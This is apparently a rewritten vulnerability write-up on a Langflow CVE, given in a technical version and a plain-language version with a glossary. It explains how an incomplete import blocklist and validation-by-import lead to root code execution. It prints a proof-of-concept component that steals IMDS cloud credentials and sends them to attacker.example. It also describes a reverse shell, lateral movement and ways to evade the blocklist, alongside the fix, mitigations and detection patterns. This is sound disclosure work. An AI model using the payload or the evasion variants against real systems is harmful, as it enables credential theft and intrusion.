CVE-2026–12944: How a Missing Entry in Langflow’s Import Blocklist Becomes Root Code Execution
Langflow's code security scanner used a blocklist of dangerous imports that omitted socket and urllib, so a submitted custom component could make network requests and open a reverse shell. Because the component was imported to validate it, the malicious top-level code executed with root privileges, allowing an authenticated user to steal cloud credentials and move laterally.
Published on medium.com
AI Agent
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Langflow is a visual framework for assembling LLM applications out of nodes. Alongside the node graph, users can write "custom components" as raw Python and drop them into a flow. That is an obvious candidate for arbitrary code execution, and Langflow knew it: submitted component code is supposed to pass through a code security scanner before anything runs.
The scanner keeps a blocklist called DANGEROUS_IMPORTS. In the version this write-up covers, that blocklist was missing exactly the two entries that mattered, and the validation path that consults it imports the submitted module before deciding anything. The result is CVE-2026-12944: authenticated code execution, and the code that runs does so as root.

At a Glance

The validation step is itself already an execution. Triggering it takes an authenticated user (PR:L), but once triggered it is unconditional (AC:L, UI:N), and the code that runs does so with root (UID=0) privileges.
Setup
Langflow is commonly self-hosted. Depending on the deployment, registration is often open, or gated only by minimal authentication in front of the component-submission feature. The attacker does not need admin rights: just an account that can register one component.
The later steps depend on the deployment: a cloud container with an attached IAM role, and a Docker network shared with supporting services.
Finding it
The weakness is in the scanner's list. The "obviously dangerous" names, subprocess, eval, exec and compile, are correctly blocked, but socket and urllib never made the list, and those two modules are all you need to open a network connection or fire an HTTP request at any URL.
Underneath that sits a deeper problem. Whatever scan_code_security() decides to block, the act of importing the code to check it is already execution. In Python, import module immediately runs that module's top-level code. Separately from registering its function and class definitions, any call statement written at top level, such as urllib.request.urlopen(...), executes the instant the module is imported. So before the scanner has had a chance to render a verdict, the import performed to validate the code has already carried out the attacker's network request on the server.
Exploitation

The first three steps get code to run on the server at all. The last three show what that root-level execution buys the attacker.
Step 1-2: Submitting the component
The attacker prepares component code that looks something like this:
import socketimport urllib.request_r = urllib.request.urlopen( "http://[redacted]/latest/meta-data/iam/security-credentials/")_role = _r.read().decode()_creds = urllib.request.urlopen( f"http://[redacted]/latest/meta-data/iam/security-credentials/{_role}").read()_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)_s.connect(("attacker.example", 4444))_s.sendall(_creds)from langflow.custom import CustomComponentclass InnocentLookingComponent(CustomComponent): display_name = "CSV Formatter" def build(self, data: str) -> str: return data.strip()
The important detail: the malicious code sits at module top level, not inside build(). The class itself is a plausible-looking CSV Formatter whose build() only strips whitespace. The top-level statements read the instance metadata service, then open a TCP connection to attacker.example and send the credentials there.
Step 3: Executing during validation
Langflow does not run this code blindly. To confirm the component has a valid class structure, the server first imports it. Before that happens, a code security scanner is supposed to catch anything obviously dangerous. IBM's advisory names this scanner's blocklist directly: DANGEROUS_IMPORTS.
DANGEROUS_IMPORTS = { "subprocess", "eval", "exec", "compile", "__import__", "importlib", }def scan_code_security(source: str) -> dict: tree = ast.parse(source) for node in ast.walk(tree): if isinstance(node, (ast.Import, ast.ImportFrom)): module_name = (node.names[0].name if isinstance(node, ast.Import) else node.module) if module_name in DANGEROUS_IMPORTS: return {"validated": False, "reason": f"blocked import: {module_name}"} return {"validated": True}

The scanner parses the source with ast, walks every node, and for each Import or ImportFrom takes the module name and compares it against the set. A match returns validated: False with a reason; otherwise the function returns validated: True. Since socket and urllib are absent from the set, the malicious imports pass.
The API then returns a response that is, at best, misleading:
{ "validated": true }
The code has already run by the time this comes back. validated: true does not mean "this code is safe"; it means "nothing on the blocklist matched." The response gives the caller no way to tell the two apart.
Step 4: IMDSv1 SSRF steals AWS credentials
Langflow is most often deployed as a cloud container, and that container frequently carries an attached IAM role for whatever AWS resources it needs. Credentials for that role are available through the instance metadata service (IMDS).
The catch is IMDSv1. The newer IMDSv2 requires a PUT request to fetch a token before metadata can be read, which offers some protection against SSRF. IMDSv1 has no such requirement: a plain GET is all it takes.
GET http://[redacted]/latest/meta-data/iam/security-credentials/→ returns the role nameGET http://[redacted]/latest/meta-data/iam/security-credentials/<role-name>→ returns JSON with AccessKeyId, SecretAccessKey, and Token
Two calls to urllib.request.urlopen(), and the attacker holds temporary credentials with the full permissions of whatever IAM role the container carries. This is not a Langflow bug in itself, it is a property of legacy IMDSv1, but reaching it through a single SSRF is what multiplies the impact of the chain.
Step 5: Reverse shell as UID=0
socket alone is enough to open an outbound TCP connection. Point it at a listener the attacker has already set up, wire the socket to standard input/output, and an entire interactive shell changes hands.
IBM's advisory states plainly that this code runs with root (UID=0) privileges. There is no separate privilege-escalation step to find: the code execution from Step 3 already is the highest privilege available. The attacker can now read and write the entire container filesystem, including .env files and application configs that typically hold database credentials and other API keys.
Step 6: Lateral movement inside the Docker network
Langflow containers commonly sit on the same Docker network as services like PostgreSQL (flow and user data) and Redis (cache/queue). It is not unusual for these services to run with looser authentication under the assumption that "internal network" is protection enough. With the credentials and filesystem access from Steps 4 and 5, the attacker reaches these services with little standing in the way.
Root cause
Two mistakes compound:
- An incomplete blocklist.
DANGEROUS_IMPORTSomittedsocketandurllib, the two modules needed for outbound network access. The scanner only inspects import statements, so the unlistedsocketandurllibmodules pass. - Validation by import. To confirm the component has a valid class structure, the server imports it. Importing a Python module executes its top-level code, so the check runs the payload before it can return a verdict. The import performed to validate the code has already run the payload before the scanner returns a verdict.
A blocklist is, by construction, just "the list of dangerous names we've thought of so far", which means it will keep needing patches every time something gets left off. As long as validating a component means actually importing (and therefore executing) it, the question "what's the next module we missed?" never fully goes away.
Impact
An authenticated user who can register a single component obtains code execution on the Langflow server as root. From there the attacker can:
- read and write the entire container filesystem, including
.envfiles and application configs holding database credentials and other API keys; - steal temporary AWS credentials with the full permissions of the container's IAM role, via IMDSv1;
- open an outbound TCP connection to a listener the attacker controls;
- move laterally to PostgreSQL and Redis on the same Docker network, where authentication may be looser on the assumption that the internal network is safe.
The trigger requires authentication (PR:L), but the execution itself is unconditional (AC:L, UI:N). The IMDS credential theft depends on the deployment using IMDSv1 and carrying an attached IAM role; the lateral movement depends on co-located services with weak authentication.
Fix
The 1.10.1 fix targets both root causes at once:
DANGEROUS_IMPORTS = { "subprocess", "eval", "exec", "compile", "__import__", "importlib", "socket", "urllib.request", "urllib", }
It might look like two names got tacked onto a list, but IBM's own wording reframes what the scanner is meant to catch as "network-based code execution risk" specifically. The blocklist approach still carries the structural weakness described above.
Anything below 1.10.1 should be treated as exposed. The related authentication bypass bundled in the same advisory (CVE-2026-17628, password reset accepted without verifying the current password) affects versions up through 1.10.2 and was fixed alongside it in 1.10.3, so if you want both resolved, upgrading straight to 1.10.3 or later is the safer move.
Mitigations pending a patch:
- If the component-submission feature is not needed, close open registration entirely to remove the entry point.
- In cloud environments, enforce IMDSv2 and disable IMDSv1, so that even a successful SSRF cannot reach credentials without a token.
- Restrict the Langflow container's outbound network access to only what it needs (an egress firewall), blocking arbitrary connections to
[redacted]or internal databases. - Run the container as a non-root user. Much of this chain's damage comes specifically from executing as root, so least privilege limits the blast radius even if the same class of code execution recurs.
- Require authentication on internal services like PostgreSQL and Redis regardless of network position. "It's internal, so it's safe" is exactly the assumption that made the final step of this chain possible.
Detection
Log signatures worth watching:
- Requests to the component submission/validation endpoints whose body contains network calls,
socket.connect(,urllib.request.urlopen(,http.clientand similar, sitting outside any class definition, at module top level. - Outbound connections from the Langflow container to
[redacted](IMDS). Legitimate component execution has essentially no reason to reach the metadata service directly. - A newly registered account calling the component-submission API immediately followed by an unexpected outbound connection from the container.
Variants to test
- Other unlisted network modules. Submit a component whose top-level code uses a module absent from the blocklist, for example
http.client,requestsorasyncio. A positive result is the validation response returning{"validated": true}while an outbound connection to a listener you control appears. - Top-level execution in any import-based validator. Wherever a platform imports user-supplied Python to check its structure, place a side effect at module top level rather than inside a function or class. A positive result is the side effect occurring before any validation verdict is returned.
- Indirect import paths. Try importing a permitted module that itself exposes dangerous capability, or aliasing an import so the name compared by the scanner differs from the module actually loaded. A positive result is execution despite the blocked name being present in the source.
- IMDS reachability from application containers. From any SSRF or code-execution primitive, request the metadata endpoints shown above. A positive result is a role name followed by JSON containing
AccessKeyId,SecretAccessKeyandToken. - Internal service authentication. From a compromised container, attempt connections to PostgreSQL and Redis on the same Docker network without credentials. A positive result is an authenticated session or command execution on those services.
What happened, in plain words
Langflow is a tool for building AI applications by dragging and connecting blocks, called nodes, on a visual canvas. Think of it like a flowchart builder where each box does one job: one box talks to a language model, another formats text, another reads a file. Besides dragging ready-made boxes, users can write their own box in Python, the programming language Langflow is built on. These user-written boxes are called "custom components".
Writing your own code and having a server run it is a big deal, because code can do anything the server is allowed to do. Langflow's developers knew this, so they added a check: before a custom component is accepted, a piece of software called a code security scanner looks at the submitted code and tries to spot dangerous things in it. The scanner works from a list of forbidden names, a blocklist called DANGEROUS_IMPORTS. If the submitted code uses one of the names on the list, the scanner rejects it.
The problem described in this report, tracked as CVE-2026-12944, is that the list was missing two names: socket and urllib. Those two are exactly the tools a Python program needs to reach out over the network. Worse, the check itself runs the submitted code before it can say anything about it. So a person with an ordinary account could submit a component that, the moment it was checked, ran code on the server, and on a deployment using IMDSv1 with an attached IAM role that code could fetch secret cloud credentials and send them to a machine the attacker controls. The code ran with root privileges, the highest level of permission on a Linux system, meaning it could do anything on that server.

The report describes the whole chain step by step: how the code gets in, why the scanner misses it, what the code steals, and what the attacker can do with what it stole. It then covers the fix, how to spot an attack in logs, and what to do if you cannot patch yet.
At a Glance

The short version: the validation step is itself already an execution. To trigger it you need to be logged in (PR:L, which means the attack requires some privileges), but once triggered it works without special conditions (AC:L, low attack complexity) and without tricking a human into clicking anything (UI:N, no user interaction). The code that runs does so with root (UID=0) privileges. UID stands for user identifier; on Linux, UID 0 is the account that can do everything.
The Full Attack Chain

The first three steps are about getting code to run on the server at all. The last three show what that root-level execution buys the attacker. We will go through each at the source level, explaining the Python as we go.
Steps 1-2: Submitting the Component: All It Takes Is a Signup
Langflow is commonly self-hosted, meaning an organisation installs it on its own server rather than using a hosted service. Depending on the deployment, registration is often open, or gated only by minimal authentication in front of the component-submission feature. The attacker does not need admin rights: just an account that can register one component.
Why does that matter? Because the whole attack starts with an ordinary signup form. There is no need to break into anything first. The attacker creates an account and submits component code that looks like this:
import socketimport urllib.request_r = urllib.request.urlopen( "http://[redacted]/latest/meta-data/iam/security-credentials/")_role = _r.read().decode()_creds = urllib.request.urlopen( f"http://[redacted]/latest/meta-data/iam/security-credentials/{_role}").read()_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)_s.connect(("attacker.example", 4444))_s.sendall(_creds)from langflow.custom import CustomComponentclass InnocentLookingComponent(CustomComponent): display_name = "CSV Formatter" def build(self, data: str) -> str: return data.strip()
Line by line, in plain words:
import socketloads Python's built-in networking module. A module is a bundle of ready-made code you can pull into your program. This one lets a program open raw network connections.import urllib.requestloads another built-in module, this one for making web requests, the same kind of thing your browser does when it loads a page._r = urllib.request.urlopen(...)sends a web request to the addresshttp://[redacted]/latest/meta-data/iam/security-credentials/and stores the answer in a variable called_r. A variable is just a named box that holds a value. The address[redacted]is special: it is the address a cloud server uses to talk to itself about itself, and we will come back to it in Step 4._role = _r.read().decode()reads the answer as bytes and turns it into readable text, storing it in_role. The answer is the name of a cloud permission role._creds = urllib.request.urlopen(...).read()makes a second web request, this time to an address that includes the role name from the previous line, and stores the raw answer in_creds. That answer contains secret keys._s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)creates a network socket, which is one end of a connection between two computers.AF_INETmeans internet addressing andSOCK_STREAMmeans a reliable, ordered connection, the kind used for web traffic and remote shells._s.connect(("attacker.example", 4444))connects that socket to a machine at the hostnameattacker.exampleon port 4444. A port is a numbered door on a computer; different services listen on different doors._s.sendall(_creds)sends the stolen secret keys down that connection to the attacker.from langflow.custom import CustomComponentloads Langflow's own base class for custom components. A class is a template for an object, and here it is the template every custom component must follow.class InnocentLookingComponent(CustomComponent):declares a new component that inherits from that template.display_name = "CSV Formatter"gives it a friendly name, so it looks like a harmless tool for tidying up spreadsheet data.def build(self, data: str) -> str:defines the function Langflow will call when the component actually runs. A function is a named block of code that does a job when called.return data.strip()removes spaces from the start and end of the input and returns it. That is all the visible component does.
The important detail: the malicious code sits at module top level, not inside build(). Top level means the lines that are not inside any function or class. In Python, those lines run the moment the file is loaded, before anything calls build(). The class itself is a plausible-looking CSV Formatter whose build() only strips whitespace, so anyone reading the component in the editor sees a boring text tool. The top-level statements read the instance metadata service, then open a TCP connection to attacker.example on port 4444 and send the credentials there.
Step 3: Executing During Validation: Two Words the Blocklist Missed
Langflow does not run this code blindly. To confirm the component has a valid class structure, the server first imports it. Importing means loading the file into the running program so its classes and functions become available. Before that happens, a code security scanner is supposed to catch anything obviously dangerous. IBM's advisory names this scanner's blocklist directly: DANGEROUS_IMPORTS.
DANGEROUS_IMPORTS = { "subprocess", "eval", "exec", "compile", "__import__", "importlib", }def scan_code_security(source: str) -> dict: tree = ast.parse(source) for node in ast.walk(tree): if isinstance(node, (ast.Import, ast.ImportFrom)): module_name = (node.names[0].name if isinstance(node, ast.Import) else node.module) if module_name in DANGEROUS_IMPORTS: return {"validated": False, "reason": f"blocked import: {module_name}"} return {"validated": True}

Line by line:
DANGEROUS_IMPORTS = { ... }defines a set, which is an unordered collection of unique values, holding the names of modules the scanner refuses. The names inside aresubprocess(runs other programs),eval,execandcompile(turn text into running code),__import__andimportlib(load modules in less obvious ways).def scan_code_security(source: str) -> dict:declares the scanner function. It takes the submitted code as text (source) and returns a dictionary, which is a collection of labelled values.tree = ast.parse(source)asks Python's built-inastmodule, short for abstract syntax tree, to read the code as text and produce a structured map of it. This is the same kind of parsing a compiler does: it does not run the code, it just understands its shape.for node in ast.walk(tree):visits every piece of that map, one at a time.if isinstance(node, (ast.Import, ast.ImportFrom)):checks whether the current piece is an import statement, theimport xorfrom x import ykind.module_name = (...)works out which module is being imported. For a plainimport, it takes the first name; for afrom ... import, it takes the module part.if module_name in DANGEROUS_IMPORTS:compares that name against the set.return {"validated": False, "reason": f"blocked import: {module_name}"}rejects the code and says which import was blocked.return {"validated": True}is reached only if nothing matched, and accepts the code.
The scanner parses the source with ast, walks every node, and for each Import or ImportFrom takes the module name and compares it against the set. A match returns validated: False with a reason; otherwise the function returns validated: True. Since socket and urllib are absent from the set, the malicious imports pass.
There is a deeper problem underneath this one. Whatever scan_code_security() decides to block, the act of importing the code to check it is already execution. In Python, import module immediately runs that module's top-level code. Separately from registering its function and class definitions, any call statement written at top level, such as urllib.request.urlopen(...), executes the instant the module is imported. So before the scanner has even had a chance to render a verdict, the import performed to validate the code has already carried out the attacker's network request on the server.
A useful comparison: imagine a security guard whose job is to check parcels for bombs, but whose checking procedure is to open the parcel and press every button inside it. The guard's verdict arrives after the damage. Here the scanner reads the code safely with ast, but the server then imports the code to check its class structure, and that import is the button press.
The API then returns a response that is, at best, misleading:
{ "validated": true }
An API is the doorway a program uses to talk to another program, here the endpoint the browser calls when you submit a component. The code has already run by the time this comes back. validated: true does not mean "this code is safe"; it means "nothing on the blocklist matched." The response gives the caller no way to tell the two apart.
Step 4: IMDSv1 SSRF Steals AWS Credentials
Langflow is most often deployed as a cloud container, and that container frequently carries an attached IAM role for whatever AWS resources it needs. A container is a packaged, isolated running environment, like a small computer inside a computer. AWS is Amazon's cloud platform. An IAM role is a set of permissions that a cloud resource can be given, so the container can use, say, a storage bucket without a password written into its files. Credentials for that role are available through the instance metadata service (IMDS).
IMDS is a small web service that every cloud server can reach at the fixed address [redacted]. Programs on the server use it to ask questions about themselves: what is my hostname, what role am I wearing, and, crucially, what are the temporary keys for that role. Because it is only reachable from inside the machine, it is not protected by a login in the usual sense.
The catch is IMDSv1. The newer IMDSv2 requires a PUT request to fetch a token before metadata can be read, which offers some protection against SSRF. SSRF, server-side request forgery, means tricking a server into making a request on your behalf, to an address you could not reach yourself. If reading metadata needs a token first, a simple forged request is not enough. IMDSv1 has no such requirement: a plain GET is all it takes.
GET http://[redacted]/latest/meta-data/iam/security-credentials/→ returns the role nameGET http://[redacted]/latest/meta-data/iam/security-credentials/<role-name>→ returns JSON with AccessKeyId, SecretAccessKey, and Token
What these two requests do:
- The first
GETasks the metadata service which role the server is wearing. The answer is a role name. - The second
GETputs that role name at the end of the address and asks for its credentials. The answer is a block of JSON, a text format for structured data, containingAccessKeyId,SecretAccessKeyandToken. Those three together are what a program needs to act as that role.
Two calls to urllib.request.urlopen(), and the attacker holds temporary credentials with the full permissions of whatever IAM role the container carries. This is not a Langflow bug in itself, it is a property of legacy IMDSv1, but reaching it through a single SSRF is what multiplies the impact of the chain. The attacker never had to guess a password: the server handed over its own keys to the code running inside it.
Step 5: Reverse Shell as UID=0
socket alone is enough to open an outbound TCP connection. Point it at a listener the attacker has already set up, wire the socket to standard input/output, and an entire interactive shell changes hands. A reverse shell is a connection where the victim machine calls out to the attacker and then hands over a command prompt, so the attacker can type commands as if sitting at the machine. It goes outward because firewalls usually allow outgoing connections more freely than incoming ones. Standard input/output are the channels a program uses to read typed commands and print results.
IBM's advisory states plainly that this code runs with root (UID=0) privileges. There is no separate privilege-escalation step to find: the code execution from Step 3 already is the highest privilege available. The attacker can now read and write the entire container filesystem, including .env files and application configs that typically hold database credentials and other API keys. A .env file is a plain text file where applications keep settings and secrets, and it is often the first thing an intruder reads.
Step 6: Lateral Movement Inside the Docker Network
Lateral movement means moving from the machine you first broke into towards other machines nearby. Langflow containers commonly sit on the same Docker network as services like PostgreSQL (flow and user data) and Redis (cache/queue). Docker is software that runs containers, and it gives them a private network so they can talk to each other. PostgreSQL is a database, a program that stores and answers questions about structured data. Redis is a fast in-memory store often used for caching and queues. It is not unusual for these services to run with looser authentication under the assumption that "internal network" is protection enough. With the credentials and filesystem access from Steps 4 and 5, the attacker reaches these services with little standing in the way.
Root cause
Two mistakes compound:
- An incomplete blocklist.
DANGEROUS_IMPORTSomittedsocketandurllib, the two modules needed for outbound network access. The scanner only inspects import statements, so any dangerous capability reachable through an unlisted module passes. - Validation by import. To confirm the component has a valid class structure, the server imports it. Importing a Python module executes its top-level code, so the check runs the payload before it can return a verdict. The scanner's answer is therefore irrelevant to whether the code executed.
A blocklist is, by construction, just "the list of dangerous names we've thought of so far", which means it will keep needing patches every time something gets left off. As long as validating a component means actually importing (and therefore executing) it, the question "what's the next module we missed?" never fully goes away.
Impact
An authenticated user who can register a single component obtains code execution on the Langflow server as root. From there the attacker can:
- read and write the entire container filesystem, including
.envfiles and application configs holding database credentials and other API keys; - steal temporary AWS credentials with the full permissions of the container's IAM role, via IMDSv1;
- obtain an interactive shell over an outbound TCP connection;
- move laterally to PostgreSQL and Redis on the same Docker network, where authentication may be looser on the assumption that the internal network is safe.
The trigger requires authentication (PR:L), but the execution itself is unconditional (AC:L, UI:N). The IMDS credential theft depends on the deployment using IMDSv1 and carrying an attached IAM role; the lateral movement depends on co-located services with weak authentication.
Fix
The 1.10.1 fix targets both root causes at once:
DANGEROUS_IMPORTS = { "subprocess", "eval", "exec", "compile", "__import__", "importlib", "socket", "urllib.request", "urllib", }
What changed: the set now also contains socket, urllib.request and urllib. The first is the raw networking module, and the other two are the web request module and its parent package. With those names present, the scanner in Step 3 would have matched the attacker's imports and returned validated: False.
It might look like two names got tacked onto a list, but IBM's own wording reframes what the scanner is meant to catch as "network-based code execution risk" specifically. The blocklist approach still carries the structural weakness described above.
Anything below 1.10.1 should be treated as exposed. The related authentication bypass bundled in the same advisory (CVE-2026-17628, password reset accepted without verifying the current password) affects versions up through 1.10.2 and was fixed alongside it in 1.10.3, so if you want both resolved, upgrading straight to 1.10.3 or later is the safer move. An authentication bypass is a flaw that lets someone get past a login check they should not pass.
Mitigations pending a patch:
- If the component-submission feature is not needed, close open registration entirely to remove the entry point.
- In cloud environments, enforce IMDSv2 and disable IMDSv1, so that even a successful SSRF cannot reach credentials without a token.
- Restrict the Langflow container's outbound network access to only what it needs (an egress firewall), blocking arbitrary connections to
[redacted]or internal databases. An egress firewall is a filter on outgoing traffic. - Run the container as a non-root user. Much of this chain's damage comes specifically from executing as root, so least privilege limits the blast radius even if the same class of code execution recurs. Least privilege means giving each program only the permissions it truly needs.
- Require authentication on internal services like PostgreSQL and Redis regardless of network position. "It's internal, so it's safe" is exactly the assumption that made the final step of this chain possible.
Detection
Log signatures worth watching. Logs are the records a server keeps of what happened, and a signature here is a pattern in those records that suggests an attack:
- Requests to the component submission/validation endpoints whose body contains network calls,
socket.connect(,urllib.request.urlopen(,http.clientand similar, sitting outside any class definition, at module top level. - Outbound connections from the Langflow container to
[redacted](IMDS). Legitimate component execution has essentially no reason to reach the metadata service directly. - A newly registered account calling the component-submission API immediately followed by an unexpected outbound connection from the container.
Variants to test
- Other unlisted network modules. Submit a component whose top-level code uses a module absent from the blocklist, for example
http.client,requestsorasyncio. A positive result is the validation response returning{"validated": true}while an outbound connection to a listener you control appears. - Top-level execution in any import-based validator. Wherever a platform imports user-supplied Python to check its structure, place a side effect at module top level rather than inside a function or class. A positive result is the side effect occurring before any validation verdict is returned.
- Indirect import paths. Try importing a permitted module that itself exposes dangerous capability, or aliasing an import so the name compared by the scanner differs from the module actually loaded. A positive result is execution despite the blocked name being present in the source.
- IMDS reachability from application containers. From any SSRF or code-execution primitive, request the metadata endpoints shown above. A positive result is a role name followed by JSON containing
AccessKeyId,SecretAccessKeyandToken. - Internal service authentication. From a compromised container, attempt connections to PostgreSQL and Redis on the same Docker network without credentials. A positive result is an authenticated session or command execution on those services.
Glossary
- API: the doorway one program uses to talk to another, usually over the network.
- AWS: Amazon Web Services, Amazon's cloud platform.
- Blocklist: a list of names or patterns that are forbidden; anything not on the list is allowed.
- Class: a template in code that describes an object and what it can do.
- Container: a packaged, isolated running environment, like a small computer inside a computer.
- CVE: a public identifier for a known security flaw, so people can refer to it unambiguously.
- Docker: software that builds and runs containers and gives them a private network.
- Egress firewall: a filter on outgoing network traffic.
- Function: a named block of code that does a job when called.
- IAM role: a set of cloud permissions that a resource can be given, with temporary credentials issued for it.
- IMDS: instance metadata service, a small web service at
[redacted]that a cloud server uses to ask about itself, including for its role credentials. - IMDSv1 / IMDSv2: two versions of that service; v2 requires a token fetched with a
PUTrequest before metadata can be read, v1 does not. - Import: loading a module into a running Python program; in Python this also runs the module's top-level code.
- JSON: a text format for structured data, made of labelled values.
- Lateral movement: moving from one compromised machine to other machines nearby.
- Least privilege: giving each program only the permissions it truly needs.
- Logs: the records a server keeps of what happened.
- Module: a bundle of ready-made code that can be loaded into a program.
- Port: a numbered door on a computer that a particular service listens on.
- PostgreSQL: a database program that stores and answers questions about structured data.
- PR:L / AC:L / UI:N: shorthand from the CVSS scoring system for privileges required (low), attack complexity (low) and user interaction (none).
- Redis: a fast in-memory data store often used for caching and queues.
- Reverse shell: a connection where the victim machine calls out to the attacker and hands over a command prompt.
- Root (UID=0): the Linux account with the highest permissions, able to do anything on the system.
- Scanner (code security scanner): software that inspects submitted code for dangerous patterns before it is accepted.
- Socket: one end of a network connection between two computers.
- SSRF: server-side request forgery, tricking a server into making a request on your behalf to an address you could not reach yourself.
- Standard input/output: the channels a program uses to read typed commands and print results.
- Top level: the lines of a Python file that sit outside any function or class, and run as soon as the file is imported.
- Variable: a named box in a program that holds a value.
.envfile: a plain text file where an application keeps settings and secrets.